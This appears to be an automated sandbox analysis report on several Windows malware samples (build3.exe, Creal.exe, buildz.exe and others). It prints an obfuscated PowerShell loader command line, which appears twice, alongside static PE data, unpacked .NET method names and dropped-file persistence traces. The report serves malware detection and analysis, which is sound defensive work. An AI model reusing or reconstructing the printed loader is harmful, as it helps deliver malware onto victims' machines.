A)Me{Pr Mo Vo Me An Ma P S Gr`$ PLProQut AuSesDibSklcho HmTrsSltOueEinkvs a7Ke3St[Pa`$HjS It PaAnk MiDetLstSteWorNotFooSumFutAnesaoPlrReiUdsKe/Mi2Vi] C Ch=Sw Sy[OrcDioAcnwavEmeFrrSetAs]Kl:Kl:MeTKuoAsB byAftKieBi(Co`$MuEPatGuaAag De QrIlnAnefesSpi Nt Kr TeDarJeeNo2Re4 P.Me`$CoP ToNawMysbr.PeIHjnElv EoHykAneSe(Sa`$MaS EtMaaFek Ri CtLntKoeeprNet PoIsm Bt HeSuo BrKniChsBr,Ca Vr2Mi) D,in T1Se6su)Ps;Ul Pr Ne`$ BLHyo DtBuu SsTib PlCooTumFasOntSteSenEmsmu7Sp3Af[Fo`$ SS NtFoaFlkKai LtDottaeVor BtUnoHem AtMaeInoBlr SiInsDe/Mo2Cr] A U=un Bs TuUnbOrs PeDiwMeeAgrSe8Pr Ir`$StLObougtLouSksvibTalDioNomHjsTotJaeSpnVasIn7 S3Mi[Us`$NeS ptNoaKok Pi Bt Tt deWarTatTso SmBetDeeDioAdr MisasEr/Br2De]Cu Re6 T4Em;bi Ma U Ho Sa} M An[ArSFltMar kiApnTrgCe]Le[FoSrayUnsPstmieKamTa.CoTCoeFrxCotSr. PEgenOlcBeoWrdUnihinnogRe]Tr:Sa:FrAkaSAlCTeIChIFr.VaGEnePrtSmSSitNorRui TnFagSc(Pa`$StLReo VtRau HsNdbAllPioMamGusIntPaeMenDes S7 V3Pu) Q;Un} A`$FuS ToGagPanPoeSifFooFigPre AdBuePirStnPaeSu0Am=ToVInAfeRLi5no3Ru Di'la1Te3Th3En9Sa3 E3Sp3Pr4Kr2 S5 s2BaDLa6UnEMi2Be4Tr2SkC M2InCBa'Ko;di`$SrSSyo AgDrnPte Tfaro ggTheOpdSte SrHdnMieHy1An=SlVAaAUlR I5Me3 B R' F0GaDBu2Hy9Ov2 S3St3 P2Vi2UnFVa3Py3Br2CoFzo2Un6Sl3 A4mi6spE P1Fe7 L2He9Fa2 AERa7Po3cl7 Q2Li6 FEBo1Tr5Dr2ThE V3Re3Fl2 H1Pr2Po6De2Sk5po0PeEDi2An1 B3 T4 C2Re9 M3 I6 S2Fa5Me0 IDEk2Pr5Um3Ba4Ob2Af8di2 CFOr2Un4Mo3 F3Ge' H;To`$NeS OoAfgAun TeCafbuoUtg weDadTeeChr AnOmeTh2De= RV KAViRFu5Ga3El Ca'cu0Fj7Br2pe5in3St4Di1Un0Ph3Te2Kn2FoFUn2 b3Dy0Sc1Gr2Sp4Al2Ou4Fd3Un2 W2 T5Ah3Le3Pa3 B3Me'Ko;La`$ThSEcoUngOvnPaeLyfSioCogUdeUnd peSarAmnNaeJe3Gi=kuVByAKoR V5st3Ar D'Ke1Ej3Ho3 m9 L3 B3kr3To4Br2Ra5Sl2RsDKo6MaE F1Ro2Bl3Tv5 D2SoE G3 A4de2Re9Id2ReDKa2Be5In6OeEVa0 T9un2SkERe3Sm4Am2Bu5su3St2Ol2AdFRa3Ly0Re1 I3Ga2Et5Fa3ya2 N3Co6Ba2 A9Me2Sk3Ri2 R5Fe3gr3 P6BeEVr0To8Er2Un1Pr2CeESo2In4ef2JaCMa2gu5 O1Sa2Qu2Sm5Th2De6Mo'Va; P`$tuSMaoPtgApnMeeHjf Ro BgPieOsdSle ErAknLge F4Fi= MVOpAecRSc5An3Zo Hu' S3or3Ra3Un4 H3Ti2Il2Fr9 T2FnEIn2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Radiosensitivities Outerwear Opsigelsesaftalernes Spaanlst Afstrmningens Drosera Polyteisterne #>$Specterlikes = """He;udFMauMenRecLetUniBaoFonMa SpVmaAAnR p5Co3Th Ef{Es An Sy X UnpHuaIdrSiaComLa(Bi[ PSAutPhr BiHunShgSk]Mi`$StETetCyaLeglseLerOvnSne RsStiUnt RrFaeKlr PeSl2Ca4ba)Ub; F yd`$PaSkloMilFocSmrDeeinmDye Tr NnBieUn S=Ad S`$AkEDatSpaRogCheScr Ln He Ls Si ItHirFeeUnrRyeAr2 S4Sp.brLLoeUnnHagbat EhSu; K A Pl do Ph`$ImL EoTatSeuJas ObKolHuo KmSisSktOpe En AsWe7Vi3Da P=Re CaNDae MwFo- COUnbBajfieUncSatdi RsbGry BtFreDe[Ty] A Rd(Tf`$ SS AoInlGecEnrTjeMamUneStrStnPaeVa Li/Ja Fo2Al)At;Te up`$SvPbeoSowDrs V= S'PrS GUUn' S+Pr'ArBKoSIsTReRTeI BNPlGPr'Ne;Re I Pr Fr DrFAko FrBu( R`$DeS QtCoaIskAki FtStt PeTrrcrt ToInm PtAreDeo BrOpiLysHe= S0se;Po Zo`$KoSTotDeaDakIniHjt Ot Fe TrGatFioSemTjt LeSto KrHeiWisVu Ar-ChlLitFi Oo`$InSTeoOvlRecder SeSpmBaePar InRoesu;Ns No`$UnS LtSnaCikDriOctShtSeestrJatFloInmRet EeSpoAcrGaimrsMe+An=Mi2 A)Me{Pr Mo Vo Me An Ma P S Gr`$ PLProQut AuSesDibSklcho HmTrsSltOueEinkvs a7Ke3St[Pa`$HjS It PaAnk MiDetLstSteWorNotFooSumFutAnesaoPlrReiUdsKe/Mi2Vi] C Ch=Sw Sy[OrcDioAcnwavEmeFrrSetAs]Kl:Kl:MeTKuoAsB byAftKieBi(Co`$MuEPatGuaAag De QrIlnAnefesSpi Nt Kr TeDarJeeNo2Re4 P.Me`$CoP ToNawMysbr.PeIHjnElv EoHykAneSe(Sa`$MaS EtMaaFek Ri CtLntKoeeprNet PoIsm Bt HeSuo BrKniChsBr,Ca Vr2Mi) D,in T1Se6su)Ps;Ul Pr Ne`$ BLHyo DtBuu SsTib PlCooTumFasOntSteSenEmsmu7Sp3Af[Fo`$ SS NtFoaFlkKai LtDottaeVor BtUnoHem AtMaeInoBlr SiInsDe/Mo2Cr] A U=un Bs TuUnbOrs PeDiwMeeAgrSe8Pr Ir`$StLObougtLouSksvibTalDioNomHjsTotJaeSpnVasIn7 S3Mi[Us`$NeS ptNoaKok Pi Bt Tt deWarTatTso SmBetDeeDioAdr MisasEr/Br2De]Cu Re6 T4Em;bi Ma U Ho Sa} M An[ArSFltMar kiApnTrgCe]Le[FoSrayUnsPstmieKamTa.CoTCoeFrxCotSr. PEgenOlcBeoWrdUnihinnogRe]Tr:Sa:FrAkaSAlCTeIChIFr.VaGEnePrtSmSSitNorRui TnFagSc(Pa`$StLReo VtRau HsNdbAllPioMamGusIntPaeMenDes S7 V3Pu) Q;Un} A`$FuS ToGagPanPoeSifFooFigPre AdBuePirStnPaeSu0Am=ToVInAfeRLi5no3Ru Di'la1Te3Th3En9Sa3 E3Sp3Pr4Kr2 S5 s2BaDLa6UnEMi2Be4Tr2SkC M2InCBa'Ko;di`$SrSSyo AgDrnPte Tfaro ggTheOpdSte SrHdnMieHy1An=SlVAaAUlR I5Me3 B R' F0GaDBu2Hy9Ov2 S3St3 P2Vi2UnFVa3Py3Br2CoFzo2Un6Sl3 A4mi6spE P1Fe7 L2He9Fa2 AERa7Po3cl7 Q2Li6 FEBo1Tr5Dr2ThE V3Re3Fl2 H1Pr2Po6De2Sk5po0PeEDi2An1 B3 T4 C2Re9 M3 I6 S2Fa5Me0 IDEk2Pr5Um3Ba4Ob2Af8di2 CFOr2Un4Mo3 F3Ge' H;To`$NeS OoAfgAun TeCafbuoUtg weDadTeeChr AnOmeTh2De= RV KAViRFu5Ga3El Ca'cu0Fj7Br2pe5in3St4Di1Un0Ph3Te2Kn2FoFUn2 b3Dy0Sc1Gr2Sp4Al2Ou4Fd3Un2 W2 T5Ah3Le3Pa3 B3Me'Ko;La`$ThSEcoUngOvnPaeLyfSioCogUdeUnd peSarAmnNaeJe3Gi=kuVByAKoR V5st3Ar D'Ke1Ej3Ho3 m9 L3 B3kr3To4Br2Ra5Sl2RsDKo6MaE F1Ro2Bl3Tv5 D2SoE G3 A4de2Re9Id2ReDKa2Be5In6OeEVa0 T9un2SkERe3Sm4Am2Bu5su3St2Ol2AdFRa3Ly0Re1 I3Ga2Et5Fa3ya2 N3Co6Ba2 A9Me2Sk3Ri2 R5Fe3gr3 P6BeEVr0To8Er2Un1Pr2CeESo2In4ef2JaCMa2gu5 O1Sa2Qu2Sm5Th2De6Mo'Va; P`$tuSMaoPtgApnMeeHjf Ro BgPieOsdSle ErAknLge F4Fi= MVOpAecRSc5An3Zo Hu' S3or3Ra3Un4 H3Ti2Il2Fr9 T2FnEIn2

Source: C:\Users\user\Desktop\a\build3.exe

Code function: 11_2_00D4C08C LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

11_2_00D4C08C

Source: Creal.exe.0.dr	Static PE information: section name: _RDATA
Source: voice5.13sert.exe.0.dr	Static PE information: section name: _RDATA
Source: Voiceaibeta-5.13.exe.0.dr	Static PE information: section name: _RDATA

Source: C:\Users\user\Desktop\a\build3.exe	Code function: 11_2_00D3E0C6 push ecx; ret	11_2_00D3E0D9
Source: C:\Users\user\Desktop\a\build3.exe	Code function: 11_2_00D33440 push ss; ret	11_2_00D33447
Source: C:\Users\user\Desktop\a\build3.exe	Code function: 11_2_00D3DA1C push ecx; ret	11_2_00D3DA2F
Source: C:\Users\user\Desktop\a\alex.exe	Code function: 12_2_0557F3E0 push eax; ret	12_2_0557F3ED
Source: C:\Users\user\Desktop\a\alex.exe	Code function: 12_2_05579D98 push eax; mov dword ptr [esp], ecx	12_2_05579D9C
Source: C:\Users\user\Desktop\a\alex.exe	Code function: 12_2_05B51CEE push ds; retf	12_2_05B51CEF
Source: C:\Users\user\AppData\Local\Temp\1000083001\e0cbefcb1af40c7d4aff4aca26621a98.exe	Code function: 15_1_00404533 push ecx; ret	15_1_00404546
Source: C:\Users\user\Desktop\a\Creal.exe	Code function: 18_2_00007FF738BA5004 push rsp; retf	18_2_00007FF738BA5005
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_07940BE4 push FFFFFFE8h; ret	19_2_07940BE9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_08893ED5 push edx; iretd	19_2_08893F32
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_08892AF7 push 00000023h; retf	19_2_08892AF9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_08892EF7 push ebp; iretd	19_2_08892F11
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_088957A2 push edx; iretd	19_2_088957A5
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_08890FEF push edx; retf	19_2_08890FF2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_08893F33 push edx; iretd	19_2_08893F32
Source: C:\Users\user\Desktop\a\buildz.exe	Code function: 31_2_024CC0AF push ecx; retf	31_2_024CC0B2
Source: C:\Users\user\Desktop\a\buildz.exe	Code function: 31_2_02698F05 push ecx; ret	31_2_02698F18

Source: initial sample	Static PE information: section name: .text entropy: 7.535010329308505
Source: initial sample	Static PE information: section name: .text entropy: 7.939943450487376

Source: 2.2.spfasiazx.exe.44535e8.10.raw.unpack, VXAD9fmqYOlFb8p4Fn.cs	High entropy of concatenated method names: 'musacTJW9j', 'NXpaQFEdtD', 'wm7arKTvkD', 'RM5aTrqPJ4', 'Pjla6hoPWG', 'YyxapWZ7AO', 'KXOaRsC0bg', 'CEXAjSu7Pj', 'nglA01MN7j', 'o8tAlXK44k'
Source: 2.2.spfasiazx.exe.44535e8.10.raw.unpack, XZdTol4aoNguVs65ES.cs	High entropy of concatenated method names: 'SIvReVFtro', 'POsRF4Ub2N', 'zMTRUhJYkv', 'ToString', 'REsRxFt95b', 'aJSRjWpnRC', 'ewXT8Ntkd3eNJCqqDCX', 'oqsYnhtXx1caHGsbN1H', 'bnuUhjtMFTLB4gfstZd', 'k0gMS4tFA91pVq5fpGh'
Source: 2.2.spfasiazx.exe.44535e8.10.raw.unpack, Shl00N8PaMGqHvTuND.cs	High entropy of concatenated method names: 'S89Ii4SNJG', 'Al0IwSenqZ', 'GBAIYIp3vh', 'N9wI86YpJl', 'JL7IExK8Gn', 'IYDIbkwUbG', 'ynNIoFATPm', 'HHhIAJae72', 'QcLIa20XwN', 'h4II9r4j0m'
Source: 2.2.spfasiazx.exe.44535e8.10.raw.unpack, rJaIpDnEupq2UWuge1.cs	High entropy of concatenated method names: 'ak7MBI9yh', 'TkoifUDxX', 'a92w3KonD', 'bSA3eSDEc', 'GfO8rL0kY', 'U5WVtv4ha', 'lqUcQaBPKsBhX70Z1p', 'nYHfClVrSM9qbySFFc', 'JG4sp7RCwR1BKXf5sv', 'FlaAnV0mG'
Source: 2.2.spfasiazx.exe.44535e8.10.raw.unpack, jMLRqtKBCqBkEHgQZM.cs	High entropy of concatenated method names: 'T95RHJVoVN', 'R43R663vU8', 'aVDRp8hOeo', 'vjoR2bxWD5', 'A0hRNW9Rkw', 't9epU6mide', 'WI4pxsDE6L', 'EkvpjWG1Fr', 'i9ip0nbT2E', 'M9RplZtWwk'
Source: 2.2.spfasiazx.exe.44535e8.10.raw.unpack, VdMy32PR1LLOOVg7W8.cs	High entropy of concatenated method names: 'vEqEhJiP3A', 'pa3EC6OexG', 'OE0EPGqvBp', 'VO2EdII3po', 'nWYEXByaoh', 'VsxE1V9Bop', 'wRsEyQUgw7', 'gqcEBZGCRH', 'YVIE4TWrfR', 'VU1EWQ6wln'
Source: 2.2.spfasiazx.exe.44535e8.10.raw.unpack, yRoxjjcQZfHEWE4YUsK.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'OEZ9PJDtiY', 'jZI9dusXLw', 'Lre9ecUKRI', 'kp49FiI0L4', 'srm9U6xZC3', 'McI9xBCVOp', 'Mlm9jI5dty'
Source: 2.2.spfasiazx.exe.44535e8.10.raw.unpack, Bqfj2r0iZWkgZYkaX4.cs	High entropy of concatenated method names: 'mCVATUde6i', 'ol7A649rAp', 'jLgAIeVw5j', 'XSjAp4SA25', 'Vp1ARQyNhZ', 'MFkA2bUnPe', 'UrPANlW6vP', 'H0kAvpLhVW', 'xdHAkmjOT9', 'OcwAs4evFf'
Source: 2.2.spfasiazx.exe.44535e8.10.raw.unpack, IKW74bV7MfbNc6EQ2a.cs	High entropy of concatenated method names: 'JV3pZQFmx0', 'Ahep3kXePV', 'WvlI179GZN', 'HPqIySwNpE', 'uLsIBRrXoK', 'UklI400NtV', 'yeAIWWy8U9', 'AmwIG5mwVj', 'ckVID79wIv', 'qnjIhHfo4P'
Source: 2.2.spfasiazx.exe.44535e8.10.raw.unpack, uJyXiL6986cdtFWdJ2.cs	High entropy of concatenated method names: 'Dispose', 'n3yclCQTcE', 'faEnXSNeE8', 'pbdbbxdRGc', 'Qwqcmfj2ri', 'BWkczgZYka', 'ProcessDialogKey', 'G4on5SPJLZ', 'JWKncxNnqI', 'a1NnnxXAD9'
Source: 2.2.spfasiazx.exe.44535e8.10.raw.unpack, KikFOSYskJSgtHTwBF.cs	High entropy of concatenated method names: 'fkm6PuYOpI', 'E2p6d0KPPE', 'Keu6euHs4m', 'NRv6FCY8wK', 'pUg6UH1thJ', 'Icb6xLpbcs', 's2w6jD3XlM', 'VAN60C2r3v', 'y7Y6lQ1KFC', 'Qhp6mBUyfF'
Source: 2.2.spfasiazx.exe.44535e8.10.raw.unpack, HGT2HfNxEkVpRA4N7p.cs	High entropy of concatenated method names: 'w60QHPmuyr', 'w2pQTrqOKS', 'iwFQ6fhsXT', 'PVPQIB8mgK', 'wPdQpcqHHo', 'mtoQRbR9wf', 'V06Q2cRrER', 'rl7QNoeRCU', 'aJRQv78kAU', 'rsUQk2fYmD'
Source: 2.2.spfasiazx.exe.44535e8.10.raw.unpack, j8KcBErn97VJUhQue1.cs	High entropy of concatenated method names: 'nU4c2ikFOS', 'nkJcNSgtHT', 'kPackMGqHv', 'fuNcsD1KW7', 'gEQcE2a2ML', 'iqtcbBCqBk', 'XRPq8G8f70AaD9he0s', 'Usb4aibpKVQ8mk6ZlC', 'nU6cc59uMG', 'P18cQQLmsW'
Source: 2.2.spfasiazx.exe.44535e8.10.raw.unpack, t3sitVDWLnKqj7m9Le.cs	High entropy of concatenated method names: 'bAg2q0sqnw', 'bx32732ksA', 'Ksj2MTXe4E', 'hsj2iraoE4', 'lFi2ZHwRcJ', 'wgi2wCi6cM', 'BD723u6VwK', 'r5C2YbDs1K', 'boM28tyxMD', 'gSR2VmWX6f'
Source: 2.2.spfasiazx.exe.44535e8.10.raw.unpack, w8cGvdzX0UW74ppvt3.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'uisaSDjg3P', 'ge8aEbwXDC', 'sRJabDUOTg', 'ICkao7QfAF', 'fYDaAGnRLM', 'TgMaaMd1Ti', 'yrla9vImgF'
Source: 2.2.spfasiazx.exe.44535e8.10.raw.unpack, dXpNoneDYJ2539vuKX.cs	High entropy of concatenated method names: 'ToString', 'vPObttsMhD', 'mVIbXkdCc3', 'egBb1Bas7Q', 'm4XbyOvIoN', 'pjNbBBALrv', 'P0sb436jST', 'wnKbWsgphL', 'XnNbG55fg5', 'g8dbDclKoV'
Source: 2.2.spfasiazx.exe.44535e8.10.raw.unpack, mOjAqwWOf3LBBbc60Q.cs	High entropy of concatenated method names: 'Mb72TyiywT', 'KPe2IN977B', 'xtG2RiZsMo', 'prURm6JNuV', 'FAuRzaekt8', 'tg325bqE5Q', 'aPT2c7pLST', 'vif2nrBs5v', 'FXv2Q7FI8n', 'sg62r8DndQ'
Source: 2.2.spfasiazx.exe.44535e8.10.raw.unpack, hvNsJNXTnN1CSsyAoN.cs	High entropy of concatenated method names: 'vBvFq9tg3jgd1NGUesv', 'RXFyYPtpFTNhOaTwrNp', 'Gs7RAKQ0d4', 'pk0Ranfecp', 'HkpR9WnSJA', 'L87B4utCKnolVxBPKQc', 'avV1vVt3mKPbrcJNWv2', 'aFmh5ytmFG44GEL08R8'
Source: 2.2.spfasiazx.exe.44535e8.10.raw.unpack, qSPJLZlBWKxNnqI51N.cs	High entropy of concatenated method names: 'SHMAKUSl1F', 'cp6AXAM5wC', 'L7CA19o5BC', 'KFPAy3x3CU', 'xMnAPqQLfp', 'nUVABU5GhT', 'Next', 'Next', 'Next', 'NextBytes'
Source: 2.2.spfasiazx.exe.44535e8.10.raw.unpack, q8i88Vc5TDxZfEgEYBv.cs	High entropy of concatenated method names: 'WZZaq50XMF', 'Anka7bSAH7', 'RveaMicN0p', 'EuMaiHvm7j', 'yJmaZIl4ee', 'CnQawK8ctH', 'Egma3IksiS', 'R67aYRRL2S', 'JABa83Ygcr', 'Y8baVF6pea'
Source: 2.2.spfasiazx.exe.44535e8.10.raw.unpack, oBs9AOLo2LMdjsmnvs.cs	High entropy of concatenated method names: 'HFlSYlNb1U', 'yA3S8Yogbe', 'VA7SKYYkoW', 'vd1SXhwOUl', 'o4mSyTWQDf', 'MwcSBqcEpK', 'oYeSWgn1X6', 'DA3SGsDtUb', 'mOBShiDf61', 'HgiSteacrb'
Source: 2.2.spfasiazx.exe.44535e8.10.raw.unpack, lMgMyhxhMkl1uyUi9K.cs	High entropy of concatenated method names: 'MuSo0mpwxX', 'Kn8omAiTOo', 'sVqA5INLG3', 'LVJAcZ9FYi', 'RZ3ot2U1hB', 'SDOoCIMdjm', 'HeAoLUD6SU', 'cs4oPcpY7V', 'HD7od6WTwg', 'xUFoepfN7w'
Source: 2.2.spfasiazx.exe.79f0000.13.raw.unpack, VXAD9fmqYOlFb8p4Fn.cs	High entropy of concatenated method names: 'musacTJW9j', 'NXpaQFEdtD', 'wm7arKTvkD', 'RM5aTrqPJ4', 'Pjla6hoPWG', 'YyxapWZ7AO', 'KXOaRsC0bg', 'CEXAjSu7Pj', 'nglA01MN7j', 'o8tAlXK44k'
Source: 2.2.spfasiazx.exe.79f0000.13.raw.unpack, XZdTol4aoNguVs65ES.cs	High entropy of concatenated method names: 'SIvReVFtro', 'POsRF4Ub2N', 'zMTRUhJYkv', 'ToString', 'REsRxFt95b', 'aJSRjWpnRC', 'ewXT8Ntkd3eNJCqqDCX', 'oqsYnhtXx1caHGsbN1H', 'bnuUhjtMFTLB4gfstZd', 'k0gMS4tFA91pVq5fpGh'
Source: 2.2.spfasiazx.exe.79f0000.13.raw.unpack, Shl00N8PaMGqHvTuND.cs	High entropy of concatenated method names: 'S89Ii4SNJG', 'Al0IwSenqZ', 'GBAIYIp3vh', 'N9wI86YpJl', 'JL7IExK8Gn', 'IYDIbkwUbG', 'ynNIoFATPm', 'HHhIAJae72', 'QcLIa20XwN', 'h4II9r4j0m'
Source: 2.2.spfasiazx.exe.79f0000.13.raw.unpack, rJaIpDnEupq2UWuge1.cs	High entropy of concatenated method names: 'ak7MBI9yh', 'TkoifUDxX', 'a92w3KonD', 'bSA3eSDEc', 'GfO8rL0kY', 'U5WVtv4ha', 'lqUcQaBPKsBhX70Z1p', 'nYHfClVrSM9qbySFFc', 'JG4sp7RCwR1BKXf5sv', 'FlaAnV0mG'
Source: 2.2.spfasiazx.exe.79f0000.13.raw.unpack, jMLRqtKBCqBkEHgQZM.cs	High entropy of concatenated method names: 'T95RHJVoVN', 'R43R663vU8', 'aVDRp8hOeo', 'vjoR2bxWD5', 'A0hRNW9Rkw', 't9epU6mide', 'WI4pxsDE6L', 'EkvpjWG1Fr', 'i9ip0nbT2E', 'M9RplZtWwk'
Source: 2.2.spfasiazx.exe.79f0000.13.raw.unpack, VdMy32PR1LLOOVg7W8.cs	High entropy of concatenated method names: 'vEqEhJiP3A', 'pa3EC6OexG', 'OE0EPGqvBp', 'VO2EdII3po', 'nWYEXByaoh', 'VsxE1V9Bop', 'wRsEyQUgw7', 'gqcEBZGCRH', 'YVIE4TWrfR', 'VU1EWQ6wln'
Source: 2.2.spfasiazx.exe.79f0000.13.raw.unpack, yRoxjjcQZfHEWE4YUsK.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'OEZ9PJDtiY', 'jZI9dusXLw', 'Lre9ecUKRI', 'kp49FiI0L4', 'srm9U6xZC3', 'McI9xBCVOp', 'Mlm9jI5dty'
Source: 2.2.spfasiazx.exe.79f0000.13.raw.unpack, Bqfj2r0iZWkgZYkaX4.cs	High entropy of concatenated method names: 'mCVATUde6i', 'ol7A649rAp', 'jLgAIeVw5j', 'XSjAp4SA25', 'Vp1ARQyNhZ', 'MFkA2bUnPe', 'UrPANlW6vP', 'H0kAvpLhVW', 'xdHAkmjOT9', 'OcwAs4evFf'
Source: 2.2.spfasiazx.exe.79f0000.13.raw.unpack, IKW74bV7MfbNc6EQ2a.cs	High entropy of concatenated method names: 'JV3pZQFmx0', 'Ahep3kXePV', 'WvlI179GZN', 'HPqIySwNpE', 'uLsIBRrXoK', 'UklI400NtV', 'yeAIWWy8U9', 'AmwIG5mwVj', 'ckVID79wIv', 'qnjIhHfo4P'
Source: 2.2.spfasiazx.exe.79f0000.13.raw.unpack, uJyXiL6986cdtFWdJ2.cs	High entropy of concatenated method names: 'Dispose', 'n3yclCQTcE', 'faEnXSNeE8', 'pbdbbxdRGc', 'Qwqcmfj2ri', 'BWkczgZYka', 'ProcessDialogKey', 'G4on5SPJLZ', 'JWKncxNnqI', 'a1NnnxXAD9'
Source: 2.2.spfasiazx.exe.79f0000.13.raw.unpack, KikFOSYskJSgtHTwBF.cs	High entropy of concatenated method names: 'fkm6PuYOpI', 'E2p6d0KPPE', 'Keu6euHs4m', 'NRv6FCY8wK', 'pUg6UH1thJ', 'Icb6xLpbcs', 's2w6jD3XlM', 'VAN60C2r3v', 'y7Y6lQ1KFC', 'Qhp6mBUyfF'
Source: 2.2.spfasiazx.exe.79f0000.13.raw.unpack, HGT2HfNxEkVpRA4N7p.cs	High entropy of concatenated method names: 'w60QHPmuyr', 'w2pQTrqOKS', 'iwFQ6fhsXT', 'PVPQIB8mgK', 'wPdQpcqHHo', 'mtoQRbR9wf', 'V06Q2cRrER', 'rl7QNoeRCU', 'aJRQv78kAU', 'rsUQk2fYmD'
Source: 2.2.spfasiazx.exe.79f0000.13.raw.unpack, j8KcBErn97VJUhQue1.cs	High entropy of concatenated method names: 'nU4c2ikFOS', 'nkJcNSgtHT', 'kPackMGqHv', 'fuNcsD1KW7', 'gEQcE2a2ML', 'iqtcbBCqBk', 'XRPq8G8f70AaD9he0s', 'Usb4aibpKVQ8mk6ZlC', 'nU6cc59uMG', 'P18cQQLmsW'
Source: 2.2.spfasiazx.exe.79f0000.13.raw.unpack, t3sitVDWLnKqj7m9Le.cs	High entropy of concatenated method names: 'bAg2q0sqnw', 'bx32732ksA', 'Ksj2MTXe4E', 'hsj2iraoE4', 'lFi2ZHwRcJ', 'wgi2wCi6cM', 'BD723u6VwK', 'r5C2YbDs1K', 'boM28tyxMD', 'gSR2VmWX6f'
Source: 2.2.spfasiazx.exe.79f0000.13.raw.unpack, w8cGvdzX0UW74ppvt3.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'uisaSDjg3P', 'ge8aEbwXDC', 'sRJabDUOTg', 'ICkao7QfAF', 'fYDaAGnRLM', 'TgMaaMd1Ti', 'yrla9vImgF'
Source: 2.2.spfasiazx.exe.79f0000.13.raw.unpack, dXpNoneDYJ2539vuKX.cs	High entropy of concatenated method names: 'ToString', 'vPObttsMhD', 'mVIbXkdCc3', 'egBb1Bas7Q', 'm4XbyOvIoN', 'pjNbBBALrv', 'P0sb436jST', 'wnKbWsgphL', 'XnNbG55fg5', 'g8dbDclKoV'
Source: 2.2.spfasiazx.exe.79f0000.13.raw.unpack, mOjAqwWOf3LBBbc60Q.cs	High entropy of concatenated method names: 'Mb72TyiywT', 'KPe2IN977B', 'xtG2RiZsMo', 'prURm6JNuV', 'FAuRzaekt8', 'tg325bqE5Q', 'aPT2c7pLST', 'vif2nrBs5v', 'FXv2Q7FI8n', 'sg62r8DndQ'
Source: 2.2.spfasiazx.exe.79f0000.13.raw.unpack, hvNsJNXTnN1CSsyAoN.cs	High entropy of concatenated method names: 'vBvFq9tg3jgd1NGUesv', 'RXFyYPtpFTNhOaTwrNp', 'Gs7RAKQ0d4', 'pk0Ranfecp', 'HkpR9WnSJA', 'L87B4utCKnolVxBPKQc', 'avV1vVt3mKPbrcJNWv2', 'aFmh5ytmFG44GEL08R8'
Source: 2.2.spfasiazx.exe.79f0000.13.raw.unpack, qSPJLZlBWKxNnqI51N.cs	High entropy of concatenated method names: 'SHMAKUSl1F', 'cp6AXAM5wC', 'L7CA19o5BC', 'KFPAy3x3CU', 'xMnAPqQLfp', 'nUVABU5GhT', 'Next', 'Next', 'Next', 'NextBytes'
Source: 2.2.spfasiazx.exe.79f0000.13.raw.unpack, q8i88Vc5TDxZfEgEYBv.cs	High entropy of concatenated method names: 'WZZaq50XMF', 'Anka7bSAH7', 'RveaMicN0p', 'EuMaiHvm7j', 'yJmaZIl4ee', 'CnQawK8ctH', 'Egma3IksiS', 'R67aYRRL2S', 'JABa83Ygcr', 'Y8baVF6pea'
Source: 2.2.spfasiazx.exe.79f0000.13.raw.unpack, oBs9AOLo2LMdjsmnvs.cs	High entropy of concatenated method names: 'HFlSYlNb1U', 'yA3S8Yogbe', 'VA7SKYYkoW', 'vd1SXhwOUl', 'o4mSyTWQDf', 'MwcSBqcEpK', 'oYeSWgn1X6', 'DA3SGsDtUb', 'mOBShiDf61', 'HgiSteacrb'
Source: 2.2.spfasiazx.exe.79f0000.13.raw.unpack, lMgMyhxhMkl1uyUi9K.cs	High entropy of concatenated method names: 'MuSo0mpwxX', 'Kn8omAiTOo', 'sVqA5INLG3', 'LVJAcZ9FYi', 'RZ3ot2U1hB', 'SDOoCIMdjm', 'HeAoLUD6SU', 'cs4oPcpY7V', 'HD7od6WTwg', 'xUFoepfN7w'

Persistence and Installation Behavior

Infects executable files (exe, dll, sys, html)

Source: C:\Users\user\Desktop\a\buildz.exe

System file written: C:\Users\user\AppData\Local\Temp\chrome.exe

Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Hash\_MD2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_raw_blowfish.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_chacha20.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\libcrypto-3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Hash\_SHA384.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\libssl-3.dll	Jump to dropped file
